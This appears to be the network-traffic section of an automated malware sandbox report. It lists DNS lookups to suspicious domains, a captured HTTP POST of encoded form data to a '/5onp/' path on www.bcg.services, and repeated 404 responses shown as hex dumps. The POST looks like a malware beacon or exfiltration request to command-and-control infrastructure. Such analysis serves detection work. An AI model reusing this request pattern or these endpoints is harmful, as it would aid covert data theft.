                Source: global trafficDNS traffic detected: DNS query: www.trendave.xyz
                Source: global trafficDNS traffic detected: DNS query: www.nb-shenshi.buzz
                Source: global trafficDNS traffic detected: DNS query: www.rysanekbeton.cloud
                Source: global trafficDNS traffic detected: DNS query: www.rafconstrutora.online
                Source: global trafficDNS traffic detected: DNS query: www.127358.win
                Source: global trafficDNS traffic detected: DNS query: www.prototype.garden
                Source: global trafficDNS traffic detected: DNS query: www.rtpwslot888gol.sbs
                Source: global trafficDNS traffic detected: DNS query: www.soainsaat.xyz
                Source: unknownHTTP traffic detected: POST /5onp/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cache-Control: no-cacheContent-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 201Host: www.bcg.servicesOrigin: http://www.bcg.servicesReferer: http://www.bcg.services/5onp/User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30Data Raw: 64 54 62 34 3d 56 53 46 67 77 6d 74 6e 46 6f 38 59 62 6a 65 49 4f 4d 75 31 77 6e 63 4a 34 52 35 49 2f 78 58 72 6d 79 44 44 38 54 41 2b 6a 65 57 76 38 68 56 50 68 33 76 48 45 64 2b 58 76 51 74 43 38 44 50 4c 6a 47 72 53 51 62 4c 33 54 4f 57 58 4a 34 39 6f 78 52 6b 54 64 53 48 2f 71 76 62 4f 68 73 7a 47 69 37 44 2f 62 42 54 68 79 6b 79 52 6c 6c 6d 62 37 76 78 61 44 55 72 70 74 68 65 4f 57 66 36 4d 52 58 39 7a 74 51 70 50 6f 41 69 36 53 7a 57 48 61 67 62 41 7a 6d 57 6f 6b 6c 6d 53 38 77 79 33 30 50 31 30 4e 68 42 58 52 62 48 2f 47 62 71 6f 4a 69 4c 72 30 73 53 5a 41 4d 70 38 7a 56 71 2f 52 67 3d 3d Data Ascii: dTb4=VSFgwmtnFo8YbjeIOMu1wncJ4R5I/xXrmyDD8TA+jeWv8hVPh3vHEd+XvQtC8DPLjGrSQbL3TOWXJ49oxRkTdSH/qvbOhszGi7D/bBThykyRllmb7vxaDUrptheOWf6MRX9ztQpPoAi6SzWHagbAzmWoklmS8wy30P10NhBXRbH/GbqoJiLr0sSZAMp8zVq/Rg==
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 17:22:49 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66df9b06-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 17:22:51 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66df9b06-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 17:22:57 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66df9b06-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.6.2Date: Thu, 05 Dec 2024 17:23:04 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T*$'*gd*HN+I-0D7(bTgU!2S>0
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.6.2Date: Thu, 05 Dec 2024 17:23:07 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T*$'*gd*HN+I-0D7(bTgU!2S>0
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.6.2Date: Thu, 05 Dec 2024 17:23:10 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T*$'*gd*HN+I-0D7(bTgU!2S>0
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.6.2Date: Thu, 05 Dec 2024 17:23:12 GMTContent-Type: text/htmlContent-Length: 168Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.6.2</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachedate: Thu, 05 Dec 2024 17:23:19 GMTserver: LiteSpeedcontent-encoding: gzipvary: Accept-Encodingtransfer-encoding: chunkedconnection: closeData Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a Data Ascii: a
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachedate: Thu, 05 Dec 2024 17:23:21 GMTserver: LiteSpeedcontent-encoding: gzipvary: Accept-Encodingtransfer-encoding: chunkedconnection: closeData Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e a7 70 31 12 28 97 c2 67 49 1c bf 1d 85 5f c8 38 7d 5a f4 0c 34 6b 29 60 2d 71 d3 19 eb 47 50 1b ed 51 fb c5 68 23 b9 17 0b 8e 6b 59 63 d4 0f c6 20 b5 f4 92 a9 c8 d5 8c 60 93 31 38 61 a5 be 8f bc 89 1a e9 17 da 04 74 2f bd c2 12 d2 38 85 9f c6 c3 57 b3 d2 fc cd 59 31 1d e6 8b 9e 52 f9 a1 45 2e 19 5c 76 16 1b b4 2e aa 8d 32 96 70 05 b6 98 71 66 ef af 1e 2a c3 77 0f 15 ab ef 97 36 40 0c 21 d9 45 1c c7 e7 b2 0d 64 99 f6 8f 8f c5 74 00 2c a6 fb ac c2 b2 43 de c3 12 b8 48 d3 34 87 96 d9 a5 d4 59 9c 37 94 62 06 da d8 96 29 48 d2 6e 3b 9d c5 dd 16 3e 5a 4a 6d 0c df 50 ad d1 cb 9a 51 76 4c bb c8 a1 95 4d 0e 27 12 e6 f0 8a 15 5c 34 4d 93 87 ec b9 5c bf 50 9d ad bc a1 dd a5 8e 9e 61 8c 4a 08 cf e9 02 8f 5b 1f 31 25 97 3a 83 9a 4c 40 9b 43 af 7c f6 3e 26 86 87 14 22 85 0d 25 10 a5 c3 64 67 1c b9 62 74 c6 2a 67 d4 ca 63 0e de 74 19 5c 87 5d fa d0 39 f5 88 1b ec 9f 42 24 87 1d 8f 9a 40 10 25 72 f2 1f 66 c9 bc 87 55 52 e3 91 f1 30 d5 c7 6c 86 a9 ca 28 4e a0 e4 32 29 9f 84 a2 9a 3d 07 8d 02 89 20 6c fe 04 4d 9c 68 3c 2a 9f d5 85 98 d1 ea ae bc 13 08 16 9d 59 d9 3a 74 fe ae d0 79 e4 54 8f 2b c5 c9 2c 0f 15 12 01 5a 03 46 83 17 d2 01 39 b3 46 7b 5e 4c 3b 02 98 92 8e e5 fe 7d 22 e9 be 68 9a 38 b4 67 59 ce 88 c9 3e fd de a1 8e 71 2e f5 32 0b a5 10 68 c2 a1 93 1f 05 b6 a8 98 97 6b cc 6b 85 cc 92 04 5e e4 4f 9e 1e f1 fa cc a3 24 4e 68 e6 75 fd a6 ef 42 cb 2b 63 39 da 3e 14 28 10 c8 3a c9 c1 2e 2b 76 19 8f fb 36 49 e6 57 14 b6 8d 9c 60 dc 6c 32 88 fb c0 78 08 9a cd e7 63 78 7a c5 93 eb 2b 3a 9e 0e 7d 5f 85 95 2d 6f 68 57 ae 76 54 1e 1b b4 24 64 b5 83 1f d2 e3 6d 87 34 f8 8d 15 dc f6 f2 91 f2 37 94 8d c3 a0 2f e3 6b e9 e8 b7 17 cc 9f 44 df 61 2d 34 b1 5f 4a 74 f0 5d d7 13 20 f5 83 25 0c 36 04 24 8c f3 a4 1c 59 d5 76 4c ef 80 69 3e 06 46 fe ac 6a ba 33 04 0b b1 fd bd 62 8d 02 43 7b 1e 2e 99 97 7e d2 86 93 e0 e6 c1 cc 70 94 c3 c1 ee 2f b4 ff 0d 2b 0f 61 e1 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a2bdeTkk0^M'va;fc6[u')]I|ut9W*?tp~p1(gI_8}Z4k)`-qGPQh#kYc `18at/8WY1RE.\v.2pqf*w6@!Edt,CH4Y7b)Hn;>ZJmPQvLM'\4M\PaJ[1%:L@C|>&"%dgbt*gct\]9B$@%rfUR0l(N2)= lMh<*Y:tyT+,ZF9F{^L;}"h8gY>q.2hkk
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachedate: Thu, 05 Dec 2024 17:23:24 GMTserver: LiteSpeedcontent-encoding: gzipvary: Accept-Encodingtransfer-encoding: chunkedconnection: closeData Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e a7 70 31 12 28 97 c2 67 49 1c bf 1d 85 5f c8 38 7d 5a f4 0c 34 6b 29 60 2d 71 d3 19 eb 47 50 1b ed 51 fb c5 68 23 b9 17 0b 8e 6b 59 63 d4 0f c6 20 b5 f4 92 a9 c8 d5 8c 60 93 31 38 61 a5 be 8f bc 89 1a e9 17 da 04 74 2f bd c2 12 d2 38 85 9f c6 c3 57 b3 d2 fc cd 59 31 1d e6 8b 9e 52 f9 a1 45 2e 19 5c 76 16 1b b4 2e aa 8d 32 96 70 05 b6 98 71 66 ef af 1e 2a c3 77 0f 15 ab ef 97 36 40 0c 21 d9 45 1c c7 e7 b2 0d 64 99 f6 8f 8f c5 74 00 2c a6 fb ac c2 b2 43 de c3 12 b8 48 d3 34 87 96 d9 a5 d4 59 9c 37 94 62 06 da d8 96 29 48 d2 6e 3b 9d c5 dd 16 3e 5a 4a 6d 0c df 50 ad d1 cb 9a 51 76 4c bb c8 a1 95 4d 0e 27 12 e6 f0 8a 15 5c 34 4d 93 87 ec b9 5c bf 50 9d ad bc a1 dd a5 8e 9e 61 8c 4a 08 cf e9 02 8f 5b 1f 31 25 97 3a 83 9a 4c 40 9b 43 af 7c f6 3e 26 86 87 14 22 85 0d 25 10 a5 c3 64 67 1c b9 62 74 c6 2a 67 d4 ca 63 0e de 74 19 5c 87 5d fa d0 39 f5 88 1b ec 9f 42 24 87 1d 8f 9a 40 10 25 72 f2 1f 66 c9 bc 87 55 52 e3 91 f1 30 d5 c7 6c 86 a9 ca 28 4e a0 e4 32 29 9f 84 a2 9a 3d 07 8d 02 89 20 6c fe 04 4d 9c 68 3c 2a 9f d5 85 98 d1 ea ae bc 13 08 16 9d 59 d9 3a 74 fe ae d0 79 e4 54 8f 2b c5 c9 2c 0f 15 12 01 5a 03 46 83 17 d2 01 39 b3 46 7b 5e 4c 3b 02 98 92 8e e5 fe 7d 22 e9 be 68 9a 38 b4 67 59 ce 88 c9 3e fd de a1 8e 71 2e f5 32 0b a5 10 68 c2 a1 93 1f 05 b6 a8 98 97 6b cc 6b 85 cc 92 04 5e e4 4f 9e 1e f1 fa cc a3 24 4e 68 e6 75 fd a6 ef 42 cb 2b 63 39 da 3e 14 28 10 c8 3a c9 c1 2e 2b 76 19 8f fb 36 49 e6 57 14 b6 8d 9c 60 dc 6c 32 88 fb c0 78 08 9a cd e7 63 78 7a c5 93 eb 2b 3a 9e 0e 7d 5f 85 95 2d 6f 68 57 ae 76 54 1e 1b b4 24 64 b5 83 1f d2 e3 6d 87 34 f8 8d 15 dc f6 f2 91 f2 37 94 8d c3 a0 2f e3 6b e9 e8 b7 17 cc 9f 44 df 61 2d 34 b1 5f 4a 74 f0 5d d7 13 20 f5 83 25 0c 36 04 24 8c f3 a4 1c 59 d5 76 4c ef 80 69 3e 06 46 fe ac 6a ba 33 04 0b b1 fd bd 62 8d 02 43 7b 1e 2e 99 97 7e d2 86 93 e0 e6 c1 cc 70 94 c3 c1 ee 2f b4 ff 0d 2b 0f 61 e1 04 00 00 0d 0a Data Ascii: a2bdeTkk0^M'va;fc6[u')]I|ut9W*?tp~p1(gI_8}Z4k)`-qGPQh#kYc `18at/8WY1RE.\v.2pqf*w6@!Edt,CH4Y7b)Hn;>ZJmPQvLM'\4M\PaJ[1%:L@C|>&"%dgbt*gct\]9B$@%rfUR0l(N2)= lMh<*Y:tyT+,ZF9F{^L;}"h8gY>q.2hkk^O$Nhu
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachecontent-length: 1249date: Thu, 05 Dec 2024 17:23:27 GMTserver: LiteSpeedconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Dec 2024 17:23:34 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Dec 2024 17:23:36 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 